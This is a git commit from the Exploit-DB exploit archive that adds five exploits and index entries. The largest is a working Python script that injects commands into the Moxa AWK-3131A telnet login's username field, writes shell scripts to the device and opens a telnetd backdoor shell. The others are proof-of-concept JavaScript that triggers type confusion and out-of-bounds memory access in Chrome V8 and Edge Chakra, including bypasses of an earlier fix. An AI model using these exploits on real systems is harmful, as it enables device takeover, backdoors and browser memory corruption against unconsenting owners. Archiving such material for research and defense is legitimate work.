DB: 2018-04-04

5 changes to exploits/shellcodes

Google Chrome V8 - 'ElementsAccessorBase::CollectValuesOrEntriesImpl' Type Confusion
Google Chrome V8 - 'Genesis::InitializeGlobal' Out-of-Bounds Read/Write
Microsoft Edge Chakra JIT - Stack-to-Heap Copy (Incomplete Fix)
Microsoft Edge Chakra JIT - Stack-to-Heap Copy (Incomplete Fix 2)

Moxa AWK-3131A 1.4 < 1.7  - 'Username' OS Command Injection
This commit is contained in:
Offensive Security 2018-04-04 05:01:46 +00:00
parent b6b60b70e9
commit d81af66afd
6 changed files with 460 additions and 0 deletions

View file

@ -0,0 +1,84 @@
#!/usr/bin/env python2
import telnetlib
import re
import random
import string
# Split string into chunks, of which each is <= length
def chunkstring(s, length):
return (s[0+i:length+i] for i in range(0, len(s), length))
# Split strings based on MAX_LEN. Encode any newlines and/or spaces.
def split_script(script):
MAX_LEN = 28 - len('printf${IFS}"">>/var/a') - 1
completed = []
temp = re.split('(\n)', script)
for content in temp:
if len(content) != 0:
for s in re.split('( )', content):
if ' ' in s:
s = '\\x20'
if '\n' in s:
s = ['\\n']
else:
s = list(chunkstring(s, MAX_LEN))
completed.append(s)
return [item for sublist in completed for item in sublist] # Flatten nested list items
# Execute each command via the username parameter
def do_cmd(host, command):
tn = telnetlib.Telnet(host)
modCommand = command.replace(' ', '${IFS}') # Spaces aren't allowed, replace with ${IFS}
tn.read_until("login: ")
tn.write("`%s`\n" % modCommand)
print "Sent command: %s\n modified: %s\n size: %d" % (command, modCommand, len(modCommand))
tn.read_until("Password: ")
tn.write(" " + "\n")
tn.read_until("incorrect")
tn.close()
# Write script to writable directory on host
def write_script(host, script, t_dir, t_name):
print "[*] Writing shell script to host..."
i = 0
for token in split_script(script):
carat = '>' if i == 0 else '>>'
do_cmd(host, 'printf "%s"%s%s/%s' % (token, carat, t_dir, t_name))
i+=1
do_cmd(host, 'chmod +x %s/%s' % (t_dir,t_name))
print "[*] Script written to: %s/%s\n" % (t_dir,t_name)
# Attempt to connect to newly-created backdoor
def backdoor_connect(host,port):
print "[*] Attempting to connect to backdoor @ %s:%d" % (host, port)
tn = telnetlib.Telnet(host, port)
tn.interact()
def main():
host = "192.168.127.253"
port = random.randint(2048,4096)
w_dir = '/var' # writable directory
s_name = random.choice(string.ascii_uppercase) # /bin/sh launcher
t_name = s_name.lower() # telnetd launcher
# Need a shell launcher script to launch /bin/sh because
# telnetd adds a '-h' option to the login command
shell_launcher = "#!/bin/sh\nexec sh"
# Launch telnetd with the launcher script as the login
# command to execute
telnetd_launcher = "#!/bin/sh\ntelnetd -p%d -l%s/%s" % (port, w_dir,s_name)
write_script(host, shell_launcher, w_dir, s_name)
write_script(host, telnetd_launcher, w_dir, t_name)
# Execute telnetd script and attempt to connect
do_cmd(host, '.%s/%s' % (w_dir,t_name))
backdoor_connect(host, port)
if __name__ == "__main__":
main()

View file

@ -0,0 +1,53 @@
/*
Here's a snippet of the method.
https://cs.chromium.org/chromium/src/v8/src/elements.cc?rcl=3cbf26e8a21aa76703d2c3c51adb9c96119500da&l=1051
static Maybe<bool> CollectValuesOrEntriesImpl(
Isolate* isolate, Handle<JSObject> object,
Handle<FixedArray> values_or_entries, bool get_entries, int* nof_items,
PropertyFilter filter) {
...
for (int i = 0; i < keys->length(); ++i) {
Handle<Object> key(keys->get(i), isolate);
Handle<Object> value;
uint32_t index;
if (!key->ToUint32(&index)) continue;
uint32_t entry = Subclass::GetEntryForIndexImpl(
isolate, *object, object->elements(), index, filter);
if (entry == kMaxUInt32) continue;
PropertyDetails details = Subclass::GetDetailsImpl(*object, entry);
if (details.kind() == kData) {
value = Subclass::GetImpl(isolate, object->elements(), entry);
} else {
LookupIterator it(isolate, object, index, LookupIterator::OWN);
ASSIGN_RETURN_ON_EXCEPTION_VALUE(
isolate, value, Object::GetProperty(&it), Nothing<bool>()); <<------- (a)
}
if (get_entries) {
value = MakeEntryPair(isolate, index, value);
}
values_or_entries->set(count++, *value);
}
*nof_items = count;
return Just(true);
}
At (a), the elements kind can be changed by getters. This will lead to type confusion in GetEntryForIndexImpl.
PoC:
*/
let arr = [];
arr[1000] = 0x1234;
arr.__defineGetter__(256, function () {
delete arr[256];
arr.unshift(1.1);
arr.length = 0;
});
Object.entries(arr).toString();

View file

@ -0,0 +1,143 @@
/*
Bug:
The Genesis::InitializeGlobal method initializes the constructor of RegExp as follows:
// Builtin functions for RegExp.prototype.
Handle<JSFunction> regexp_fun = InstallFunction(
global, "RegExp", JS_REGEXP_TYPE,
JSRegExp::kSize + JSRegExp::kInObjectFieldCount * kPointerSize,
JSRegExp::kInObjectFieldCount, factory->the_hole_value(),
Builtins::kRegExpConstructor);
InstallWithIntrinsicDefaultProto(isolate, regexp_fun,
Context::REGEXP_FUNCTION_INDEX);
Handle<SharedFunctionInfo> shared(regexp_fun->shared(), isolate);
shared->SetConstructStub(*BUILTIN_CODE(isolate, JSBuiltinsConstructStub));
shared->set_instance_class_name(isolate->heap()->RegExp_string());
shared->set_internal_formal_parameter_count(2);
shared->set_length(2);
...
I think "shared->expected_nof_properties()" should be the same as JSRegExp::kInObjectFieldCount. But it doesn't set "expected_nof_properties", it remains 0.
There are other constructors that don't set "expected_nof_properties", but RegExp was the only useable constructor to exploit.
Exploit:
This can affect JSFunction::GetDerivedMap, which is used to create or get a Map object for the given constructor and "new.target", to incorrectly compute the number of in-object properties.
Here's a snippet of the method.
(https://cs.chromium.org/chromium/src/v8/src/objects.cc?rcl=0c287882ea233f299a91f6b72b56d8faaecf52c0&l=12966)
MaybeHandle<Map> JSFunction::GetDerivedMap(Isolate* isolate,
Handle<JSFunction> constructor,
Handle<JSReceiver> new_target) {
...
// Fast case, new.target is a subclass of constructor. The map is cacheable
// (and may already have been cached). new.target.prototype is guaranteed to
// be a JSReceiver.
if (new_target->IsJSFunction()) {
Handle<JSFunction> function = Handle<JSFunction>::cast(new_target);
...
// Create a new map with the size and number of in-object properties
// suggested by |function|.
// Link initial map and constructor function if the new.target is actually a
// subclass constructor.
if (IsDerivedConstructor(function->shared()->kind())) {
Handle<Object> prototype(function->instance_prototype(), isolate);
InstanceType instance_type = constructor_initial_map->instance_type();
DCHECK(CanSubclassHaveInobjectProperties(instance_type));
int embedder_fields =
JSObject::GetEmbedderFieldCount(*constructor_initial_map);
int pre_allocated = constructor_initial_map->GetInObjectProperties() -
constructor_initial_map->UnusedPropertyFields();
int instance_size;
int in_object_properties;
CalculateInstanceSizeForDerivedClass(function, instance_type,
embedder_fields, &instance_size,
&in_object_properties);
int unused_property_fields = in_object_properties - pre_allocated;
Handle<Map> map =
Map::CopyInitialMap(constructor_initial_map, instance_size,
in_object_properties, unused_property_fields);
...
return map;
}
}
"unused_property_fields" is obtained by subtracting "pre_allocated" from "in_object_properties". And "in_object_properties" is obtained by adding the number of properties of "new_target" and its all super constructors using CalculateInstanceSizeForDerivedClass.
Here's CalculateInstanceSizeForDerivedClass.
void JSFunction::CalculateInstanceSizeForDerivedClass(
Handle<JSFunction> function, InstanceType instance_type,
int requested_embedder_fields, int* instance_size,
int* in_object_properties) {
Isolate* isolate = function->GetIsolate();
int expected_nof_properties = 0;
for (PrototypeIterator iter(isolate, function, kStartAtReceiver);
!iter.IsAtEnd(); iter.Advance()) {
Handle<JSReceiver> current =
PrototypeIterator::GetCurrent<JSReceiver>(iter);
if (!current->IsJSFunction()) break;
Handle<JSFunction> func(Handle<JSFunction>::cast(current));
// The super constructor should be compiled for the number of expected
// properties to be available.
Handle<SharedFunctionInfo> shared(func->shared());
if (shared->is_compiled() ||
Compiler::Compile(func, Compiler::CLEAR_EXCEPTION)) {
DCHECK(shared->is_compiled());
expected_nof_properties += shared->expected_nof_properties();
}
if (!IsDerivedConstructor(shared->kind())) {
break;
}
}
CalculateInstanceSizeHelper(instance_type, true, requested_embedder_fields,
expected_nof_properties, instance_size,
in_object_properties);
}
It iterates over all the super constructors, and sums each constructor's "expected_nof_properties()".
If it fails to compile the constructor using Compiler::Compile due to somthing like a syntax error, it just clears the exception, and skips to the next iteration (Should this also count as a bug?).
So using these, we can make "pre_allocated" higher than "in_object_properties" which may lead to OOB reads/writes.
PoC:
*/
function gc() {
for (let i = 0; i < 20; i++)
new ArrayBuffer(0x2000000);
}
class Derived extends RegExp {
constructor(a) {
const a = 1; // syntax error, Derived->expected_nof_properties() skipped
}
}
let o = Reflect.construct(RegExp, [], Derived);
o.lastIndex = 0x1234; // OOB write
gc();
/*
int pre_allocated = constructor_initial_map->GetInObjectProperties() - // 1
constructor_initial_map->UnusedPropertyFields(); // 0
int instance_size;
int in_object_properties;
CalculateInstanceSizeForDerivedClass(function, instance_type,
embedder_fields, &instance_size,
&in_object_properties);
// in_object_properties == 0, pre_allocated == 1
int unused_property_fields = in_object_properties - pre_allocated;
Another bug?
There's a comment saying "Fast case, new.target is a subclass of constructor." in the JSFunction::GetDerivedMap method, but it doesn't check that "new_target" is actually a subclass of "constructor". So if "new_target" is not a subclass of "constructor", "pre_allocated" can be higher than "in_object_properties". To exploit this, it required to be able to change the value of "constructor_initial_map->UnusedPropertyFields()", but I couldn't find any way. So I'm not so sure about this part.
*/

View file

@ -0,0 +1,73 @@
/*
Here's a snippet of JavascriptArray::BoxStackInstance. To fix issue 1420 , "deepCopy" was introduced. But it only deep-copies the array when "instance->head" is on the stack. So simply by adding a single line of code that allocates "head" to the heap, we can bypass the fix.
template <typename T>
T * JavascriptArray::BoxStackInstance(T * instance, bool deepCopy)
{
Assert(ThreadContext::IsOnStack(instance));
// On the stack, the we reserved a pointer before the object as to store the boxed value
T ** boxedInstanceRef = ((T **)instance) - 1;
T * boxedInstance = *boxedInstanceRef;
if (boxedInstance)
{
return boxedInstance;
}
const size_t inlineSlotsSize = instance->GetTypeHandler()->GetInlineSlotsSize();
if (ThreadContext::IsOnStack(instance->head))
{
boxedInstance = RecyclerNewPlusZ(instance->GetRecycler(),
inlineSlotsSize + sizeof(Js::SparseArraySegmentBase) + instance->head->size * sizeof(typename T::TElement),
T, instance, true, deepCopy);
}
else if(inlineSlotsSize)
{
boxedInstance = RecyclerNewPlusZ(instance->GetRecycler(), inlineSlotsSize, T, instance, false, false);
}
else
{
boxedInstance = RecyclerNew(instance->GetRecycler(), T, instance, false, false);
}
*boxedInstanceRef = boxedInstance;
return boxedInstance;
}
PoC:
*/
function inlinee() {
return inlinee.arguments[0];
}
function opt(convert_to_var_array) {
/*
To make the in-place type conversion happen, it requires to segment.
*/
let stack_arr = [];
// Allocate stack_ar->head to the heap
stack_arr[20] = 1.1;
stack_arr[10000] = 1.1;
stack_arr[20000] = 2.2;
let heap_arr = inlinee(stack_arr);
convert_to_var_array(heap_arr);
stack_arr[10000] = 2.3023e-320;
return heap_arr[10000];
}
function main() {
for (let i = 0; i < 10000; i++)
opt(new Function('')); // Prevents to be inlined
print(opt(heap_arr => {
heap_arr[10000] = {}; // ConvertToVarArray
}));
}
main();

View file

@ -0,0 +1,102 @@
/*
Here's a snippet of JavascriptArray::BoxStackInstance.
template <typename T>
T * JavascriptArray::BoxStackInstance(T * instance, bool deepCopy)
{
Assert(ThreadContext::IsOnStack(instance));
// On the stack, the we reserved a pointer before the object as to store the boxed value
T ** boxedInstanceRef = ((T **)instance) - 1;
T * boxedInstance = *boxedInstanceRef;
if (boxedInstance)
{
return boxedInstance;
}
const size_t inlineSlotsSize = instance->GetTypeHandler()->GetInlineSlotsSize();
if (ThreadContext::IsOnStack(instance->head))
{
boxedInstance = RecyclerNewPlusZ(instance->GetRecycler(),
inlineSlotsSize + sizeof(Js::SparseArraySegmentBase) + instance->head->size * sizeof(typename T::TElement),
T, instance, true, deepCopy);
}
else if(inlineSlotsSize)
{
boxedInstance = RecyclerNewPlusZ(instance->GetRecycler(), inlineSlotsSize, T, instance, false, false);
}
else
{
boxedInstance = RecyclerNew(instance->GetRecycler(), T, instance, false, false);
}
*boxedInstanceRef = boxedInstance;
return boxedInstance;
}
The method checks if the array has already been copied, and if so, it just returns the cached copied array stored in "boxedInstanceRef".
My idea for bypassing the fix was:
1. In any way, invoke the method with "deepCopy" set to false.
2. From the next call, whatever the value of "deepCopy" is, the method will return the cached shallow-copied array.
And I found out that the constructor of "Error" iterates over all the functions and arguments in the call stack and invokes "BoxStackInstance" with every argument and "deepCopy" set to false.
Call stack to "JavascriptOperators::BoxStackInstance" from "new Error()":
#0 Js::JavascriptOperators::BoxStackInstance (instance=0x7fffffff5bb8, scriptContext=0x5555561a8e78, allowStackFunction=0x0, deepCopy=0x0)
at ChakraCore/lib/Runtime/Language/JavascriptOperators.cpp:9801
#1 0x00007ffff5d1834a in Js::InlinedFrameWalker::FinalizeStackValues (this=0x7fffffff57d8, args=0x7fffffff5b90, argCount=0x1)
at ChakraCore/lib/Runtime/Language/JavascriptStackWalker.cpp:1364
#2 0x00007ffff5d13f11 in Js::InlinedFrameWalker::GetArgv (this=0x7fffffff57d8, includeThis=0x0) at ChakraCore/lib/Runtime/Language/JavascriptStackWalker.cpp:1353
#3 0x00007ffff5d13d7b in Js::JavascriptStackWalker::GetJavascriptArgs (this=0x7fffffff57a8) at ChakraCore/lib/Runtime/Language/JavascriptStackWalker.cpp:273
#4 0x00007ffff5d5426d in Js::StackTraceArguments::Init (this=0x7fffffff5710, walker=...) at ChakraCore/lib/Runtime/Language/StackTraceArguments.cpp:82
#5 0x00007ffff5c98af8 in Js::JavascriptExceptionContext::StackFrame::StackFrame (this=0x7fffffff5700, func=0x7ffff7e402a0, walker=..., initArgumentTypes=0x1)
at ChakraCore/lib/Runtime/Language/JavascriptExceptionObject.cpp:168
#6 0x00007ffff5c9afe7 in Js::JavascriptExceptionOperators::WalkStackForExceptionContextInternal (scriptContext=..., exceptionContext=..., thrownObject=0x7ff7f2b82980,
callerByteCodeOffset=@0x7fffffff58b8: 0x0, stackCrawlLimit=0xffffffffffffffff, returnAddress=0x0, isThrownException=0x0, resetStack=0x0)
at ChakraCore/lib/Runtime/Language/JavascriptExceptionOperators.cpp:955
#7 0x00007ffff5c9a70c in Js::JavascriptExceptionOperators::WalkStackForExceptionContext (scriptContext=..., exceptionContext=..., thrownObject=0x7ff7f2b82980, stackCrawlLimit=0xffffffffffffffff,
returnAddress=0x0, isThrownException=0x0, resetSatck=0x0) at ChakraCore/lib/Runtime/Language/JavascriptExceptionOperators.cpp:883
#8 0x00007ffff5e4460f in Js::JavascriptError::NewInstance (function=0x7ffff7ed17c0, pError=0x7ff7f2b82980, callInfo=..., newTarget=0x7ffff7ef16d0, message=0x7ffff7ee4030)
at ChakraCore/lib/Runtime/Library/JavascriptError.cpp:74
#9 0x00007ffff5e44ad3 in Js::JavascriptError::NewErrorInstance (function=0x7ffff7ed17c0, callInfo=...) at ChakraCore/lib/Runtime/Library/JavascriptError.cpp:127
I just needed to insert "new Error();" to the top of the "inlinee" function in the old PoC.
PoC:
*/
// To test this using ch, you will need to add the flag -WERExceptionSupport which is enabled on Edge by default.
function inlinee() {
new Error();
return inlinee.arguments[0];
}
function opt(convert_to_var_array) {
/*
To make the in-place type conversion happen, it requires to segment.
*/
let stack_arr = []; // JavascriptNativeFloatArray
stack_arr[10000] = 1.1;
stack_arr[20000] = 2.2;
let heap_arr = inlinee(stack_arr);
convert_to_var_array(heap_arr);
stack_arr[10000] = 2.3023e-320;
return heap_arr[10000];
}
function main() {
for (let i = 0; i < 10000; i++) {
opt(new Function('')); // Prevents to be inlined
}
print(opt(heap_arr => {
heap_arr[10000] = {}; // ConvertToVarArray
}));
}
main();

View file

@ -5917,6 +5917,10 @@ id,file,description,date,author,type,platform,port
44338,exploits/windows/dos/44338.py,"Easy Avi Divx Xvid to DVD Burner 2.9.11 - '.avi' Denial of Service",2018-03-23,"Hashim Jawad",dos,windows,
44372,exploits/windows/dos/44372.py,"SysGauge 4.5.18 - Local Denial of Service",2018-03-30,"Hashim Jawad",dos,windows,
44375,exploits/xml/dos/44375.py,"Systematic SitAware - NVG Denial of Service",2018-03-30,2u53,dos,xml,
44394,exploits/multiple/dos/44394.js,"Google Chrome V8 - 'ElementsAccessorBase::CollectValuesOrEntriesImpl' Type Confusion",2018-04-03,"Google Security Research",dos,multiple,
44395,exploits/multiple/dos/44395.js,"Google Chrome V8 - 'Genesis::InitializeGlobal' Out-of-Bounds Read/Write",2018-04-03,"Google Security Research",dos,multiple,
44396,exploits/windows/dos/44396.js,"Microsoft Edge Chakra JIT - Stack-to-Heap Copy (Incomplete Fix)",2018-04-03,"Google Security Research",dos,windows,
44397,exploits/windows/dos/44397.js,"Microsoft Edge Chakra JIT - Stack-to-Heap Copy (Incomplete Fix 2)",2018-04-03,"Google Security Research",dos,windows,
3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
@ -16371,6 +16375,7 @@ id,file,description,date,author,type,platform,port
44356,exploits/windows/remote/44356.rb,"GitStack - Unsanitized Argument Remote Code Execution (Metasploit)",2018-03-29,Metasploit,remote,windows,
44357,exploits/windows/remote/44357.rb,"Exodus Wallet (ElectronJS Framework) - Remote Code Execution (Metasploit)",2018-03-29,Metasploit,remote,windows,
44376,exploits/windows/remote/44376.py,"Advantech WebAccess < 8.1 - webvrpcs DrawSrv.dll Path BwBuildPath Stack-Based Buffer Overflow",2018-03-30,"Chris Lyne",remote,windows,4592
44398,exploits/hardware/remote/44398.py,"Moxa AWK-3131A 1.4 < 1.7 - 'Username' OS Command Injection",2017-04-03,Talos,remote,hardware,
6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php,
44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php,
47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php,

Can't render this file because it is too large.